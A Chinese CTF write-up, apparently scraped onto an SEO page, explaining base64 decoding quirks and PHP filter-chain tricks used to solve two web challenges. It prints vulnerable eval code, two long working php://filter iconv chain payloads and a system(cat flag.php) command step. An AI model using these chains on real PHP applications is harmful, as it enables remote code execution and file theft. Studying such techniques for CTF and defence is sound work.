当前位置: 首页 > news >正文

娄底网站设计网站建设 证书

娄底网站设计,网站建设 证书,大连开发区盛京医院电话,建设一个电子文学网站资金多少Base64绕过 在ctf中#xff0c;base64是比较常见的编码方式#xff0c;在做题的时候发现自己对于base64的编码和解码规则不是很了解#xff0c;并且恰好碰到了类似的题目#xff0c;在翻阅了大佬的文章后记录一下#xff0c;对于base64编码的学习和一个工具 base64编码是…Base64绕过 在ctf中base64是比较常见的编码方式在做题的时候发现自己对于base64的编码和解码规则不是很了解并且恰好碰到了类似的题目在翻阅了大佬的文章后记录一下对于base64编码的学习和一个工具 base64编码是一种只接受[A-Za-z0-9/]的编码方式也就是说base64只包含了64个可打印的字符当需要编码的字符串中出现了这64个字符外的其他字符在base64-decode时会被跳过base64-decode仅仅会将可识别的字符编码后重新组成新的字符串 因此可以利用这个特性结合php伪协议来将文件的内容过滤成我们需要的内容来绕过一些限制 想要通过php伪协议利用这个编码特性还需要了解几个过滤器 convert.iconv.* 这个过滤器需要php支持iconv使用convert.iconv.*相当于使用iconv()函数处理字符流 iconv-字符串按要求的字符编码来转换 可以转换的字符编码可以参考官方的手册 convert.iconv.*的两种使用方法 convert.iconv.input-encoding.output-encoding or convert.iconv.input-encoding/output-encodingstring.strip_tags 使用此过滤器等同于用 strip_tags()函数处理所有的流数据。可以用两种格式接收参数一种是和strip_tags()函数第二个参数相似的一个包含有标记列表的字符串一种是一个包含有标记名的数组。 strip_tags—从字符串中去除 HTML 和 PHP 标记.该函数尝试返回给定的字符串str去除空字符、HTML 和 PHP 标记后的结果。它使用与函数fgetss()一样的机制去除标记。 [ISCTF2024]千年樱 虽然是新生赛但是还是学到了些东西 cookie传入from参数就行 访问/get_contents_qwerghjkl.php data伪协议写入ISCTF进入name namedata://test/plain,ISCTF 访问/well_down_mlpnkobji.php ?phpinclude dir.php;highlight_file(__FILE__);function waf($str){if(preg_match(/http|php|file|:||\/|\?/i, $str) ){die(bad hacker!!!);}}$poc $_POST[poc];waf($poc);$filename php://filter/$poc/resource/var/www/html/badChar.txt;$result file_get_contents($filename);if($result sakura for ISCTF){echo yes! master!;eval($_POST[cmd]);}if($_GET[output] 114514 !is_numeric($_GET[output])){var_dump($result); 可以很明显的发现我们就是需要通过poc参数传参拼接php://filter伪协议读取badChar.txt的内容并且读取的内容必须为sakura for ISCTF这样才能触发eval函数来执行命令 明确目标之后就需要思考怎样才能改变读取的内容文档中读取的是一个故事 #这里说一下我在做题时候的起初的思路一开始我的想法是通过过滤器来替换掉文件中的内容 用string.regex_replace这个正则替换过滤器来替换文件内容但是失败了目前也不知道是什么原因可能是出题人没有添加这个过滤器# 那么就只能通过base64的编码将我们不需要的字符编码为base64不可识别的字符 这里可以使用工具也可以使用脚本 推荐一个工具https://github.com/synacktiv/php_filter_chain_generator (这里我有个小小的疑惑为什么输入的字符串要带上?php,希望有大佬能解答一下) python php_filter_chain_generator.py --chain sakura for ISCTF?php构造payload如果直接利用生成的poc去攻击的话会用大量的脏数据所以用string.strip_tags过滤一下php的标签 pocconvert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tagscmdsystem(cat flag.php) [XYCTF2024]连连看到底是连连什么看 查看源代码有个参数提示 文件包含查看index.php ?fileindex.php 同样的使用工具或者脚本原理和上面的一题一样 python php_filter_chain_generator.py --chain XYCTF?phppconvert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags
http://www.dnsts.com.cn/news/6096.html

相关文章:

  • 安康网站定制厂家国家电网电子商务平台
  • 周口规划建设局网站网站推送怎么做
  • 域名网站空间汉中网站建设公司电话
  • 网站开发合同管辖权异议建设科技网络网站的意义和目的
  • 网站建设仟金手指六六14嘉兴seo外包服务商
  • 域名出售网站主流大型网站开发语言调查
  • 做服务网站要多少钱山东大学网站设计与建设
  • 哈尔滨网站制作案例企业网站怎样做可以搜索到
  • 网站开发程序流程图如何识别网站的建站程序
  • 乐山网站建设公司wordpress收费下载资源插件
  • seo的网站建设标准下载网站
  • 云服务器放网站快么做的好点的外贸网站
  • 网站建设网页开发网站源码下载网站
  • c 网站开发案例详解光盘福州如何做百度的网站
  • 唯品会网站建设特色图书馆网站开发的前期准备
  • 比较好的h5网站企业门户网站建设咨询
  • 广州企业建站网站建立个网站
  • 做网站的费用如何入账自己做网站系统教程
  • 有网页源码怎么做网站扬州整站seo
  • 模板网站的建设四川网站建设哪家好
  • 网站内怎么做链接交通局网站建设方案策划书
  • 橙色网站模版网站底部悬浮代码
  • 北京网站设计排名东莞营销型网站
  • wordpress检测手机端佛山网站推广优化公司
  • 做问卷给钱的网站如东建设网站
  • 专业社交网站建设公司校园 网站建设 知乎
  • 毕业设计代做网站jspwordpress聊天轻系统
  • 天津商城网站设计公司interiart wordpress
  • 自己在线制作logo免费网站软件开发工程师面试题
  • 哪些网站可以做微商品牌宣传wordpress分享插件带赞